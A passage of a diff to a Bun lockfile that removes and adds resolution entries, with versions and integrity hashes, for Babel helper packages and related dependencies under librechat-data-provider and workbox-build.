"peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "librechat-data-provider/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], - - "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - "pkg-dir/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="], "svgo/css-select/domutils/dom-serializer/entities": ["entities@2.2.0", "", {}, "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.22.20", "", { "dependencies": { "@babel/helper-function-name": "^7.22.5", "@babel/template": "^7.22.15", "@babel/types": "^7.22.19" } }, "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw=="], + "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.22.20", "", { "dependencies": { "@babel/helper-function-name": "^7.22.5", "@babel/template": "^7.22.15", "@babel/types": "^7.22.19" } }, "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw=="], + "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="], + "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, 